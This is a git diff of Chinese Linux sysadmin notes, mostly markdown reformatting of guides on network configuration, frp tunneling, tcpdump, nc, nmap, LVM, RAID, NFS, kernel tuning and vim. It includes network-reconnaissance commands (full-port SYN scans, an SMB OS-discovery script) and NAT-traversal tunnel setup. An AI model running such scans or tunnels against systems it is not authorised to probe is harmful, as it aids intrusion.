|--------------|----------------------------------------|---------------------------------------------| -| 信任机制 | 自己签自己,浏览器默认不信任 | 由受信任的 CA 签发,浏览器自动信任 | -| 证书验证 | 客户端需手动导入 CA 根证书 | 浏览器通过内置 CA 公钥自动验证 | -| 成本 | 免费 | 免费(如 Let’s Encrypt)或付费(如 DigiCert)| -| 使用场景 | 内网测试、开发、企业内部服务 | 生产环境,面向公网的服务 | -| 安全风险 | 易被中间人冒充 | 基本防中间人攻击(前提:CA 不被攻破) | -| 浏览器警告 | 🚫“连接不安全”提示 | ✅ 显示绿色锁或公司名(EV 证书) | +| 信任机制 | 自己签自己,浏览器默认不信任 | 由受信任的 CA 签发,浏览器自动信任 | +| 证书验证 | 客户端需手动导入 CA 根证书 | 浏览器通过内置 CA 公钥自动验证 | +| 成本 | 免费 | 免费(如 Let’s Encrypt)或付费(如 DigiCert)| +| 使用场景 | 内网测试、开发、企业内部服务 | 生产环境,面向公网的服务 | +| 安全风险 | 易被中间人冒充 | 基本防中间人攻击(前提:CA 不被攻破) | +| 浏览器警告 | 🚫“连接不安全”提示 | ✅ 显示绿色锁或公司名(EV 证书) | diff --git a/linux/network/linux-network-config.md b/linux/network/linux-network-config.md index 1d8858b..ecd5289 100644 --- a/linux/network/linux-network-config.md +++ b/linux/network/linux-network-config.md @@ -1,7 +1,11 @@ +--- +created_date: 2020-11-16 +--- [TOC] ## Linux重启网卡的三种方法 + ```bash # 1. network service networking restart @@ -17,9 +21,11 @@ ifconfig eth0 up ``` ## Ubuntu16配置 + - 网关,IP,DNS -1. vi /etc/network/interfaces +1. vi /etc/network/interfaces + ```conf iface eth0 inet static address 192.168.1.3 @@ -27,19 +33,23 @@ netmask 255.255.255.0 gateway 192.168.1.1 dns-nameservers 114.114.114.114 8.8.8.8 ``` + 2. 修改后重置网卡 + ```bash ip addr flush ens32 systemctl restart networking ``` -3. 使用ifconfig命令配置 网关,IP(临时生效) ``ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up`` +3. 使用ifconfig命令配置 网关,IP(临时生效) `ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up` ## Ubuntu18.04配置 Ubuntu20.0.4 + 1. 配置 网关,IP,DNS - - ``vi /etc/netplan/${name}.yaml`` - - ``vi /etc/netplan/50-cloud-init.yaml`` - - 使配置生效 ``netplan apply`` + - `vi /etc/netplan/${name}.yaml` + - `vi /etc/netplan/50-cloud-init.yaml` + - 使配置生效 `netplan apply` + ```yaml network: ethernets: @@ -51,7 +61,6 @@ network: version: 2 ``` - ```bash # 1. 查看 systemctl status systemd-networkd @@ -59,11 +68,14 @@ networkctl status ``` ## Centos7.5配置 -1. 查看网卡`` ip a `` + +1. 查看网卡`ip a` 2. 编辑配置文件 + - cd /etc/sysconfig/network-scripts - vi 网卡所在的文件 + ```conf TYPE=Ethernet # 网络类型 NAME=eth0 # 网卡名称 @@ -77,13 +89,16 @@ DNS1=8.8.8.8 # 第一个dns服务器,BOOTPROTO=static 的时候不会自动生 ``` ## 指令 + ### ifconfig + 1. 配置临时网卡eth0:0 -``ifconfig eth0:0 192.168.6.100 netmask 255.255.255.0 up`` + `ifconfig eth0:0 192.168.6.100 netmask 255.255.255.0 up` 2. 删除网卡 -``ifconfg eth0:0 down`` + `ifconfg eth0:0 down` ### 其它 + ```bash # 查看默认的dns systemd-resolve --status | grep 'DNS Servers' diff --git a/linux/network/nat.md b/linux/network/nat.md index 302e517..6cf4d24 100644 --- a/linux/network/nat.md +++ b/linux/network/nat.md @@ -1,13 +1,22 @@ +--- +created_date: 2025-04-06 +--- + +[TOC] + - 内网穿透的方法 - 1. 端口映射(Port Forwarding) - 1. 适用场景:有公网 IP 和路由器管理权限。 - 2. 反向代理与隧道(Reverse Proxy/Tunneling) - 1. 适用场景:无公网 IP 或无法修改路由器。 - 2. 工具:Frp、Ngrok、Cloudflare Tunnel 等。 + 1. 端口映射(Port Forwarding) + 1. 适用场景:有公网 IP 和路由器管理权限。 + 2. 反向代理与隧道(Reverse Proxy/Tunneling) + 1. 适用场景:无公网 IP 或无法修改路由器。 + 2. 工具:Frp、Ngrok、Cloudflare Tunnel 等。 ## Frp + - https://github.com/fatedier/frp + ### 服务端配置 + ```toml bindAddr = "0.0.0.0" bindPort = 7000 @@ -41,7 +50,9 @@ maxPoolCount = 5 # tls.keyFile = "./keys/server.key" # tls.trustedCaFile = "./keys/CA.crt" ``` + ### 客户端配置 + ```toml serverAddr = "frps服务的公网IP" serverPort = frps服务的公网端口 @@ -76,8 +87,10 @@ remotePort = 3389 # tls.keyFile = "./keys/client.key" # tls.trustedCaFile = "./keys/CA.crt" ``` + ### 指令 + ```sh ./frps -c frps.toml ./frpc -c frpc.toml -``` \ No newline at end of file +``` diff --git a/linux/network/network1.md b/linux/network/network1.md index 3f103fb..c0dbf0c 100644 --- a/linux/network/network1.md +++ b/linux/network/network1.md @@ -1,19 +1,31 @@ +--- +created_date: 2020-11-27 +--- + +[TOC] + ## BPF + BPF(伯克利包过滤器Berkeley Packet Filter),最初构想提出于 1992 年,其目的是为了提供一种过滤包的方法,并且要避免从内核空间到用户空间的无用的数据包复制行为。 ## route + - 参考 -https://ivanzz1001.github.io/records/post/linuxops/2018/11/14/linux-route + https://ivanzz1001.github.io/records/post/linuxops/2018/11/14/linux-route + 1. Linux系统的route命令用于显示和操作IP路由表(show/manipulate the IP routing table)。 + 2. 要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。 + 3. 在Linux系统中,设置路由通常是为了解决一个问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问internet,那么就需要将网关地址设置为该Linux机器的默认路由。 4. 查看路由表 route -n -Destination: 目标网络(network)或者目标主机(host);’0.0.0.0’用于指示默认路由。 -Gateway: 网关地址,*表示并未设置网关地址。 -Genmask: 子网掩码。其中’255.255.255’用于指示单一目标主机;’0.0.0.0’用于指示默认路由。 + Destination: 目标网络(network)或者目标主机(host);’0.0.0.0’用于指示默认路由。 + Gateway: 网关地址,\*表示并未设置网关地址。 + Genmask: 子网掩码。其中’255.255.255’用于指示单一目标主机;’0.0.0.0’用于指示默认路由。 5. 指令 + ```bash # 删除默认网关 route del default gw 10.0.0.254 @@ -28,14 +40,16 @@ ip route add 172.16.0.0/16 via 92.168.0.1 dev eth0 ``` ## 网关 + 1. 网关是一个逻辑概念。 2. 网关用来连接两个不同网段的网络。 3. 防火墙、路由器、三层交换机、电脑、部分MCU、一些存储设备,还有一些其它设备也可以设置成网关。 ## 广播地址 + 1. IP -IP=网络地址+主机地址 -通过子网掩码区分网络地址和主机地址 + IP=网络地址+主机地址 + 通过子网掩码区分网络地址和主机地址 192.168.0.1/24 网络地址是 192.168.0.0 @@ -43,56 +57,58 @@ IP=网络地址+主机地址 此网络内每台机器上的广播地址都是192.168.0.255 1. 单播 -单播 = 点对点通信 + 单播 = 点对点通信 2. 多播 -多播 = 组播 -需要相同数据流的客户端加入相同的组共享一条数据流,服务端向组发送数据。 + 多播 = 组播 + 需要相同数据流的客户端加入相同的组共享一条数据流,服务端向组发送数据。 3. 广播 -限制:只能在一个网络段内发送数据 -功能:向所有的机器发送数据 -例子:ARP寻址 -机器A发送一个ARP广播寻找IP-1对应的MAC地址,非IP-1的机器接收到广播数据后丢弃数据,IP-1的机器收到ARP广播数据后,向对方回应数据。 - + 限制:只能在一个网络段内发送数据 + 功能:向所有的机器发送数据 + 例子:ARP寻址 + 机器A发送一个ARP广播寻找IP-1对应的MAC地址,非IP-1的机器接收到广播数据后丢弃数据,IP-1的机器收到ARP广播数据后,向对方回应数据。 ## 二层三层网络协议 + - 参考 -https://blog.csdn.net/SmallCatBaby/article/details/89877622 + https://blog.csdn.net/SmallCatBaby/article/details/89877622 - 应用层和传输层是由软件定义的,而到了下层则是由设备厂商自己决定如何实现的,思科、华为都有自己的实现协议,都是保密的。 1. mac:网卡的硬件地址 ### ARP(Address Resolution Protocol) + 实现从 IP 地址到 MAC 地址的映射。 查看本地的映射:arp -a - - ### 动态路由协议 + 1. 相关协议 -RIPv1 RIPv2 ... + RIPv1 RIPv2 ... 2. 功能:维护路由信息,建立路由表,决定最佳路由。 ## 网络设备 + ### 交换机Switch + 1. 二层网络设置。 2. 维护一张“端口-MAC地址映射表”,记录了MAC地址和交换机端口的对应关系. 3. MAC地址表的创建 - 1. 机器主动发起请求的报文,Switch把源MAC和从哪一个端口收到的建立对应关系。 - 2. Switch收到报文的时候如果MAC表里还没有这个目的MAC,那么就在除了收到这个报文的端口以外的其他端口进行一次洪泛,等待目的MAC的终端响应。 + 1. 机器主动发起请求的报文,Switch把源MAC和从哪一个端口收到的建立对应关系。 + 2. Switch收到报文的时候如果MAC表里还没有这个目的MAC,那么就在除了收到这个报文的端口以外的其他端口进行一次洪泛,等待目的MAC的终端响应。 4. 通过mac地址进行通信。 - 相关命令 -dis arp 显示ip地址和物理地址的对应关系 + dis arp 显示ip地址和物理地址的对应关系 ### 路由器 + 1. 三层网络设备 2. 维护一张路由表,“目地IP地址-网关IP地址的映射表” 3. 路由表的创建 - 1. 静态路由-管理员手工配置下一跳形成路由表。 - 2. 动态路由-通过动态路由协议创建路由表。 + 1. 静态路由-管理员手工配置下一跳形成路由表。 + 2. 动态路由-通过动态路由协议创建路由表。 4. 通过IP地址进行通信。 - diff --git a/linux/network/network2.md b/linux/network/network2.md index 7306cce..16d182e 100644 --- a/linux/network/network2.md +++ b/linux/network/network2.md @@ -1,16 +1,26 @@ +--- +created_date: 2020-11-27 +--- + +[TOC] + ## iptables & ipset -- [跳转到相关内容](../../secure/linux/iptables.md) + +- [跳转到相关内容](../../secure/linux/iptables.md) ## gRPC + - 参考 - - https://grpc.io/docs/ + - https://grpc.io/docs/ 1. 客户端应用可以像调用本地方法一样直接调用另一台机器上服务端应用的方法 -2. 数据交换格式 ProtoBuf +2. 数据交换格式 ProtoBuf ## 数据包 -### Linux抓包 + +### Linux抓包 + ```bash tcpdump -n -i eth0 'port 80' -s0 -w result.pcap tcpdump -i eth1 udp # 协议过滤 @@ -27,8 +37,11 @@ port ${PORT} # 目的或源端口是${PORT}的网络数据 tcpdump -r result.pcap # 读取抓取到的包 ``` + ### 数据包分析 + TCP Flags + ``` * F : FIN - 结束; 结束会话 * S : SYN - 同步; 表示开始会话请求 @@ -41,7 +54,9 @@ TCP Flags ``` ## 网络工具 + ### nc 使用TCP或UDP协议跨网络连接读写数据 + ```bash # 1. 检测端口是否被监听 nc -v -z ip port @@ -57,6 +72,7 @@ while true;do nc -l 88 < somepage.html; done ``` ### dig + ```bash # 简约模式 dig +short garys.top @@ -64,54 +80,61 @@ dig +short garys.top # 指定特定的DNS服务器地址,不使用系统默认的/etc/resolve.conf dig @114.114.114.114 garys.top ``` + ### nmap 网络探索和安全审计的开源工 + 1. 四种基本的扫描方式: - 1. TCP connect()端口扫描(-sT参数)。 - 2. TCP同步(SYN)端口扫描(-sS参数)。 - 3. UDP端口扫描(-sU参数)。 - 4. Ping扫描(-sP参数)。 - 5. `-Pn` 跳过Ping扫描,直接进行端口扫描。 + + 1. TCP connect()端口扫描(-sT参数)。 + 2. TCP同步(SYN)端口扫描(-sS参数)。 + 3. UDP端口扫描(-sU参数)。 + 4. Ping扫描(-sP参数)。 + 5. `-Pn` 跳过Ping扫描,直接进行端口扫描。 2. 指令 - ```bash - # 安装 - rpm -vhU http://nmap.org/dist/nmap-5.21-1.i386.rpm - rpm -vhU http://nmap.org/dist/zenmap-5.21-1.noarch.rpm - # 扫描 默认会扫描1-1024端口和其他一些常用端口 - nmap -sS -p 0-65535 127.0.0.1 - # -sS 使用SYN连接,快速扫描 - ``` + + ```bash + # 安装 + rpm -vhU http://nmap.org/dist/nmap-5.21-1.i386.rpm + rpm -vhU http://nmap.org/dist/zenmap-5.21-1.noarch.rpm + # 扫描 默认会扫描1-1024端口和其他一些常用端口 + nmap -sS -p 0-65535 127.0.0.1 + # -sS 使用SYN连接,快速扫描 + ``` 3. 扫描结果分析 - Open 端口在监听中 - filtered 防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap 无法得知 它是 open还是 closed - closed 端口未被监听 - unfiltered 无法确定端口是关闭还是开放时 - open filtered 监听或者被过滤的 - closed filtered 关闭或者被过滤的 + Open 端口在监听中 + filtered 防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap 无法得知 它是 open还是 closed\ + closed 端口未被监听\ + unfiltered 无法确定端口是关闭还是开放时\ + open filtered 监听或者被过滤的\ + closed filtered 关闭或者被过滤的 + ```sh nmap -p 445 --script smb-os-discovery 192.168.31.100 -Pn ``` - ### dstat 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具 + - 分组含义及子项字段含义 - ```yaml - CPU状态: CPU的使用率。显示了用户占比,系统占比、空闲占比、等待占比、硬中断和软中断情况。 - 磁盘统计: 磁盘的读写,分别显示磁盘的读、写总数。 - 网络统计: 网络设备发送和接受的数据,分别显示的网络收、发数据总数。 - 分页统计: 系统的分页活动。分别显示换入(in)和换出(out)。 - 系统统计: 统计中断(int)和上下文切换(csw)。 - ``` + ```yaml + CPU状态: CPU的使用率。显示了用户占比,系统占比、空闲占比、等待占比、硬中断和软中断情况。 + 磁盘统计: 磁盘的读写,分别显示磁盘的读、写总数。 + 网络统计: 网络设备发送和接受的数据,分别显示的网络收、发数据总数。 + 分页统计: 系统的分页活动。分别显示换入(in)和换出(out)。 + 系统统计: 统计中断(int)和上下文切换(csw)。 + ``` - 测网速 - nc -l 9999 >/dev/null - nc IP 9999 /dev/null + nc IP 9999 \ ipport.txt @@ -123,6 +133,7 @@ for name in `ls *.Linux`;do mv $name ${name%.*};done ``` ### 判断/比较符号 + ``` -e filename 如果 filename存在,则为真 -d filename 如果 filename为目录,则为真 @@ -142,6 +153,7 @@ filename1 -ot filename2 如果 filename1比 filename2旧,则为真。 -lt 小于 -le 小于等于 ``` + ```bash #!/bin/bash source /etc/profile @@ -151,6 +163,7 @@ fi ``` ### linux select 指令建立菜单 + ```bash #!/bin/bash @@ -179,6 +192,7 @@ done ``` ### wait + ```bash #!/bin/bash echo "1" @@ -196,6 +210,7 @@ wait -n 2s # 等待任意任务完成或 2 秒超时 ``` ### timeout + ```bash # timeout 可能在某些系统(如 macOS)上不可用,需安装 coreutils 或使用手动方法。 #!/bin/bash @@ -211,7 +226,9 @@ fi ``` ## 脚本 + ### 循环日期 + ```bash #!/bin/bash startDate=20210401 @@ -226,4 +243,4 @@ do # secondday=`date -d "@$y" "+%Y%m%d"` # echo ${secondday} done -``` \ No newline at end of file +``` diff --git a/linux/storage.md b/linux/storage.md index d593bee..afa9c17 100644 --- a/linux/storage.md +++ b/linux/storage.md @@ -1,46 +1,65 @@ +--- +created_date: 2020-11-16 +--- + [TOC] + # 硬盘和磁盘 + ## 概念 + - 硬盘和磁盘 - - 硬盘(Hard Disk)是计算机中用于存储数据的硬件设备,属于存储介质的一种。 - - 磁盘(Disk)是一个更广泛的概念,通常指存储数据的盘状介质,可以是物理的,也可以是逻辑上的。 + + - 硬盘(Hard Disk)是计算机中用于存储数据的硬件设备,属于存储介质的一种。 + - 磁盘(Disk)是一个更广泛的概念,通常指存储数据的盘状介质,可以是物理的,也可以是逻辑上的。 - 硬盘分类 - - 最快的固态 Nvme - - 固态硬盘 SSD(Solid State Drives) - - HDD 机械硬盘 - - 机械硬盘 SAS - - 最慢的机械硬盘 SATA + + - 最快的固态 Nvme + - 固态硬盘 SSD(Solid State Drives) + - HDD 机械硬盘 + - 机械硬盘 SAS + - 最慢的机械硬盘 SATA ## 磁盘扩容/非关机状态下 -- 添加新硬盘进行扩容,重新扫描SCSI总线来添加设备 - echo "- - -" > /sys/class/scsi_host/host最大的序号/scan -- 在原有硬盘上进行扩容 - echo '1' > /sys/class/scsi_disk/对应的硬盘/device/rescan + +- 添加新硬盘进行扩容,重新扫描SCSI总线来添加设备 + echo "- - -" > /sys/class/scsi_host/host最大的序号/scan +- 在原有硬盘上进行扩容 + echo '1' > /sys/class/scsi_disk/对应的硬盘/device/rescan ## 磁盘分区 + ### 情景一 2T以下磁盘 + #### 交互式 + 1. 查看所有磁盘的分区。 - - fdisk -l + + - fdisk -l + 2. 进入磁盘进行分区。 - 1. fdisk /dev/sdb - 2. 依次输入如下指令进行分区: - 1. n 创建新磁盘 - 2. p 创建主分区 - 3. 创建分区ID 1-4为主分区(回车即可) - 4. 根据提示选择磁盘开始位置(回车即可) - 5. 选择结束位置(回车即可) - 3. 更改partition's system id为Linux LVM - 1. t - 2. 8e - 4. 查看此磁盘的分区 - 1. p - 5. 输入 wq 保存退出。 - + + 1. fdisk /dev/sdb + 2. 依次输入如下指令进行分区: + 1. n 创建新磁盘 + 2. p 创建主分区 + 3. 创建分区ID 1-4为主分区(回车即可) + 4. 根据提示选择磁盘开始位置(回车即可) + 5. 选择结束位置(回车即可) + 3. 更改partition's system id为Linux LVM + 1. t + 2. 8e + 4. 查看此磁盘的分区 + 1. p + 5. 输入 wq 保存退出。 + 3. 通知系统内核分区表的变化 partprobe /dev/sdb # install parted + #### 非交互式 + - vi fdisk.txt + ``` n p @@ -53,12 +72,14 @@ t p wq ``` + ```bash fdisk /dev/sdb < fdisk.txt partprobe /dev/sdb # install parted # 通知系统内核分区表的变化 ``` ### 情景二 2T以上磁盘: + ```bash # 交互式操作 parted /dev/sdb @@ -78,7 +99,9 @@ parted -s /dev/sdf rm ${number} ``` ## 其它指令 + 1. Linux查看硬盘是固态还是机械 + ```bash # ROTA为0表示不可以旋转,就是SSD # 1 代表是机械硬盘,0 则就是 ssd @@ -89,14 +112,18 @@ grep ^ /sys/block/*/queue/rotational # 查看所有磁盘类型 方式三 lsblk -d -o name,rota ``` + 2. 查看硬盘信息 + ```sh ### hdparm(即硬盘参数)是Linux的命令行程序之一,用于处理磁盘设备和硬盘。借助此命令,您可以获得有关硬盘,更改写入间隔,声学管理和DMA设置的统计信息。 disk=/dev/sda hdparm ${disk} # 显示指定硬盘的相关信息 hdparm -t ${disk} # 评估硬盘读取效率 ``` + 3. 查看磁盘信息 + ```sh # 1. 查看所有块设备信息 lsblk -m @@ -111,31 +138,37 @@ fdisk -l ## 存储方式 ### 1. 块存储 + - 概述:裸盘,不能直接被操作系统访问。必须通过RAID、LVM等技术格式化为文件系统后才能使用。 - 特点: - 高性能,适合数据库和虚拟机磁盘等场景。 ### 2. 文件存储 + - 概述:数据和元数据一起存储。最小存储单元为文件系统的簇(如4KB)。 - 特点: - 支持POSIX文件访问接口(如open、read、write等)。 - 类型: - 1. 本地文件存储:ext3、ext4、NTFS、FAT32、XFS。 - 2. 网络文件存储:NFS、CIFS。 + 1. 本地文件存储:ext3、ext4、NTFS、FAT32、XFS。 + 2. 网络文件存储:NFS、CIFS。 ### 3. 对象存储 + - 概述:分布式存储系统,数据以对象形式存储,每个对象包括数据、元数据和唯一标识符。 - 特点: - 高扩展性,适合海量数据存储。 - 包括元数据服务器和分布式存储节点(OSD)。 # 块存储 + ## LVM + - LVM是在磁盘分区和文件系统之间添加的一个逻辑层,目的在于解决磁盘扩容问题。 -- 物理卷: pv ; 卷组: vg ; 逻辑卷: lv +- 物理卷: pv ; 卷组: vg ; 逻辑卷: lv - 可以简单理解pv对应着物理分区,lv对应着文件夹,vg为pv与lv的纽带。 - -### LVM查询操作 + +### LVM查询操作 + ```bash # 1. 先查看所有的逻辑卷 lvs #或者 lvdisplay @@ -148,6 +181,7 @@ lvscan,vgscan,pvscan ``` ### 进行LVM操作 + ```bash # 0. 如果没有lvm 则 yum -y install lvm2 @@ -169,8 +203,11 @@ mount -a # 单独挂载某个磁盘 mount -t xfs /dev/磁盘分区地址 /目录 ``` + ### 添加新pv扩容现有的lvm逻辑卷 + - 思路:创建新的PV---将新的PV加入到当前VG---扩容现有LV---扩容文件系统 + ```bash # 1. 创建新的pv:pvcreate 磁盘路径 pvcreate /dev/sdb2 @@ -184,7 +221,9 @@ resize2fs /dev/vg_data/lv_data # (扩容ext格式) ``` ### 删除LVM卷 + - 顺序:卸载磁盘,删除逻辑卷,删除卷组,删除物理卷。 + ```bash # - 查看目前磁盘的挂载情况 df -h @@ -199,14 +238,16 @@ pvremove /dev/sdc ``` ## RAID + - RAID - 1. RAID 0:条带化,分片,提供高性能,无冗余。(一块磁盘以上) - 2. RAID 1:镜像备份,数据冗余,有容错。(只能有两块磁盘) - 3. RAID 5:条带化 + 奇偶校验,平衡性能和冗余。(3块磁盘以上) - 4. RAID 6:类似 RAID 5,多一组奇偶校验,更高容错。 - 5. RAID 10:RAID 1 + RAID 0,既有性能又有冗余;先备份后分片。(4块磁盘以上) + 1. RAID 0:条带化,分片,提供高性能,无冗余。(一块磁盘以上) + 2. RAID 1:镜像备份,数据冗余,有容错。(只能有两块磁盘) + 3. RAID 5:条带化 + 奇偶校验,平衡性能和冗余。(3块磁盘以上) + 4. RAID 6:类似 RAID 5,多一组奇偶校验,更高容错。 + 5. RAID 10:RAID 1 + RAID 0,既有性能又有冗余;先备份后分片。(4块磁盘以上) ### 创建RAID + ```sh # 下载 mdadm apt update && sudo apt install -y mdadm # Debian/Ubuntu @@ -236,7 +277,9 @@ mount -a mdadm --detail --scan >> /etc/mdadm/mdadm.conf # Debian/Ubuntu # mdadm --detail --scan >> /etc/mdadm.conf # CentOS/RHEL ``` + ### 删除RAID + ```sh # 确保 RAID 未被使用,卸载挂载点 umount /mnt/data1 @@ -252,15 +295,23 @@ update-initramfs -u ``` # 文件存储 + ## NFS + - 参考 + - https://ubuntu.com/server/docs/service-nfs - NFS 即网络文件系统(Network File-System),可以通过网络让不同机器、不同系统之间可以实现文件共享。通过 NFS,可以访问远程共享目录,就像访问本地磁盘一样。 + - NFS 只是一种文件系统,本身并没有传输功能,是基于 RPC(远程过程调用)协议实现的,采用 C/S 架构。 + - NFS 是由Sun公司开发的,于1984年向外公布。 -- + +- + ### 服务端 Server + ```bash # 在ubuntu系统上安装 # install NFS in ubuntu apt install nfs-kernel-server @@ -292,6 +343,7 @@ exportfs -a ``` ### 客户端 Client + ```bash apt install nfs-common @@ -312,4 +364,4 @@ umount /opt/example2 # 开机自动挂载 echo "${IP}:/tank1/nfs /opt/example2 nfs4 defaults 0 0" >> /etc/fstab -``` \ No newline at end of file +``` diff --git a/linux/tuning-kernal.md b/linux/tuning-kernal.md index 905e111..45ceaad 100644 --- a/linux/tuning-kernal.md +++ b/linux/tuning-kernal.md @@ -1,9 +1,16 @@ +--- +created_date: 2020-11-28 +--- + +[TOC] - 参考 - - http://www.brendangregg.com/linuxperf.html + - http://www.brendangregg.com/linuxperf.html ## 内核参数 + - 配置位置 /etc/sysctl.conf 和 /etc/sysctl.d + ```bash sysctl -a # 显示当前所有可用的内核参数 sysctl kernel.hostname # 读特定的内核参数,比如kernel.hostname @@ -13,7 +20,6 @@ sysctl -w net.ipv4.ip_forward=1 # 临时改变某个指定参数的值 echo 1 > /proc/sys/net/ipv4/ip_forward # 临时改变某个指定参数的值 ``` - ```conf # 1. 一个进程可以拥有的VMA(虚拟内存区域)的数量 vm.max_map_count = 262144 @@ -34,9 +40,10 @@ cat /proc/meminfo | grep -i huge ``` ## IO读优化 + - 参考 - - https://www.kernel.org/doc/Documentation/block/stat.txt - - https://cromwell-intl.com/open-source/performance-tuning/disks.html + - https://www.kernel.org/doc/Documentation/block/stat.txt + - https://cromwell-intl.com/open-source/performance-tuning/disks.html ```bash # 更改最大IO请求大小硬件支持的最大值/sys/block/${disk}/queue/max_hw_sectors_kb @@ -55,16 +62,18 @@ echo anticipatory /sys/block/${disk}/queue/scheduler # 查看 cat /sys/block/${disk}/queue/ ``` -- I/O调度算法 - 1. deadline (适合小文件读写,跳跃式读写,零散读写(数据库))  - 2. anticipatory  (适合大文件读写,整块式,重复读写(web server)) - 3. cfg (完全公平算法)   - 4. noop (没有算法,适用于SAN架构,不在本地优化) +- I/O调度算法 + 1. deadline (适合小文件读写,跳跃式读写,零散读写(数据库)) + 2. anticipatory  (适合大文件读写,整块式,重复读写(web server)) + 3. cfg (完全公平算法) + 4. noop (没有算法,适用于SAN架构,不在本地优化) ## 更改HugePage大小 + - HugePage是通过使用大页内存来取代传统的4KB内存页面,使得管理虚拟地址数变少,加快了从虚拟地址到物理地址的映射,通过摒弃内存页面的换入换出以提高内存的整体性能。 - 为了能以最小的代价实现大页面支持,Linux 操作系统采用了基于 hugetlbfs 特殊文件系统支持的 2MB 大页面。 + ```bash getconf PAGESIZE # 查看内存页的大小,单位为bit @@ -76,10 +85,12 @@ cat /proc/sys/vm/nr_hugepages # 查看大内存页的数量 ``` ## 更改系统可以打开的最大文件句柄数 -- 参考 - - https://www.cnblogs.com/operationhome/p/11966041.html -1. ``vim /etc/security/limits.conf`` +- 参考 + - https://www.cnblogs.com/operationhome/p/11966041.html + +1. `vim /etc/security/limits.conf` + ```conf ; 注意/etc/security/limits.d文件夹内的配置会覆盖/etc/security/limits.conf的配置 ; nofile 表示最大文件句柄数,不能设置为 unlimited,可以设置的最大值为 1048576(2**20) @@ -98,7 +109,9 @@ cat /proc/sys/vm/nr_hugepages # 查看大内存页的数量 * soft sigpending 255983 * hard sigpending 255983 ``` -2. ``vim /etc/profile`` + +2. `vim /etc/profile` + ```conf ulimit -n 102400 # 设置最大可以的打开文件描述符 ulimit -u unlimited # 设置用户可以创建的最大线程数 @@ -108,10 +121,9 @@ ulimit -SH 102400 # 设置软硬限制 ulimit -f unlimited # 设置创建文件的最大值。 ``` -3. 网上说还需要设置这些 ``echo "session required pam_limits.so" >> /etc/pam.d/common-session`` - -4. 使配置生效``source /etc/profile`` +3. 网上说还需要设置这些 `echo "session required pam_limits.so" >> /etc/pam.d/common-session` +4. 使配置生效`source /etc/profile` ```bash # 查看内核资源限制 @@ -131,4 +143,4 @@ lsof -n|awk '{print $2}'|sort|uniq -c|sort -nr|more cat /proc/sys/fs/file-max # 系统层面 ulimit -n # 用户层面 cat /proc/${PID}/limits # 进程层面 -``` \ No newline at end of file +``` diff --git a/linux/tunning.md b/linux/tunning.md index 6927c62..f043e05 100644 --- a/linux/tunning.md +++ b/linux/tunning.md @@ -1,19 +1,27 @@ +--- +created_date: 2020-11-28 +--- + [TOC] -- 参考 - - Linux Performance Tuning》(Linux 性能调优)作者是 Fernando Apesteguia + +- 参考 + - Linux Performance Tuning》(Linux 性能调优)作者是 Fernando Apesteguia ## 硬件 + 1. 用vmstat、sar、iostat检测是否是CPU瓶颈 2. 用free、vmstat检测是否是内存瓶颈 3. 用iostat检测是否是磁盘I/O瓶颈 4. 用netstat检测是否是网络带宽瓶 ## 操作系统: + 1. 进程 2. 文件系统 3. SWAP 分区 4. 内核参数调整 ## 应用程序(MySQL等): + 1. mysqlreport 性能分析报告 -2. mysqlsla 慢查询日志分析 \ No newline at end of file +2. mysqlsla 慢查询日志分析 diff --git a/linux/vim/vim.md b/linux/vim/vim.md index e019748..7a6ad43 100644 --- a/linux/vim/vim.md +++ b/linux/vim/vim.md @@ -1,8 +1,16 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 安装pathogen插件管理 + mkdir -p ~/.vim/autoload ~/.vim/bundle curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim vim vimrc + ```conf # 在尾行添加 execute pathogen#infect() @@ -11,21 +19,32 @@ filetype plugin indent on ``` ## 插件 + ### NERD tree + - NERD tree - - 是一款vim树形文件资源管理器插件。 - - 可以在vim中浏览文件系统,打开想要的文件或目录。 + + - 是一款vim树形文件资源管理器插件。 + - 可以在vim中浏览文件系统,打开想要的文件或目录。 + - 源码 https://github.com/scrooloose/nerdtree + - 下载安装教程 https://www.vim.org/scripts/script.php?script_id=1658 - :NERDTree - - 打开新的目录树。可以提供一个路径参数,那么命令将打开以该路径作为根目录的目录树。如果没有路径参数提供,那么当前目录将作为新的目录树的根目录。 + + - 打开新的目录树。可以提供一个路径参数,那么命令将打开以该路径作为根目录的目录树。如果没有路径参数提供,那么当前目录将作为新的目录树的根目录。 + - :NERDTreeToggle - - 如果当前标签已经存在目录树,该命令会重新刷新目录树显示;如果当前标签不存在目录树,该命令作用效果与:NERDTree命令一致。 + + - 如果当前标签已经存在目录树,该命令会重新刷新目录树显示;如果当前标签不存在目录树,该命令作用效果与:NERDTree命令一致。 + - :NERDTreeClose - - 关闭当前标签的目录树。 -- 设置快捷键 /etc/vim/vimrc + - 关闭当前标签的目录树。 + +- 设置快捷键 /etc/vim/vimrc + ``` " 绑定F2到NERDTreeToggle指令 map :NERDTreeToggle @@ -35,40 +54,43 @@ map :NERDTreeToggle ``` ## 常识 -1. 搜索时忽略大小写 `` :/${string}\c `` -2. 在每行行首添加相同的内容 `` :%s/^/要添加的内容/g `` +1. 搜索时忽略大小写 `:/${string}\c` + +2. 在每行行首添加相同的内容 `:%s/^/要添加的内容/g` -3. 在每行行尾添加相同的内容 `` :%s/$/要添加的内容/g `` 或 `` :1,$ s/$/字符串/g `` +3. 在每行行尾添加相同的内容 `:%s/$/要添加的内容/g` 或 `:1,$ s/$/字符串/g` -4. 去掉整个文本的行尾空格 `` :%s/\s\+$//g `` -5. 去掉整个文本的行尾分号 `` :%s/\;\+$//g ``` +4. 去掉整个文本的行尾空格 `:%s/\s\+$//g` + +5. 去掉整个文本的行尾分号 \`\` :%s/;+$//g \`\`\` ### 文件的基本操作 + - 在新窗口新建一个文件 - - :new + - :new - 在新tab中新建文件 - - :tabnew + - :tabnew - 编辑指定文件(edit),没有则新建 - - :e ${filepath} + - :e ${filepath} - 打开一个文件 - - :open ${file} + - :open ${file} - 水平分割vim窗格 - - :split - - 简写 :sp + - :split + - 简写 :sp - 垂直分割vim窗格 - - :vsplit - - 简写 :vsp + - :vsplit + - 简写 :vsp - 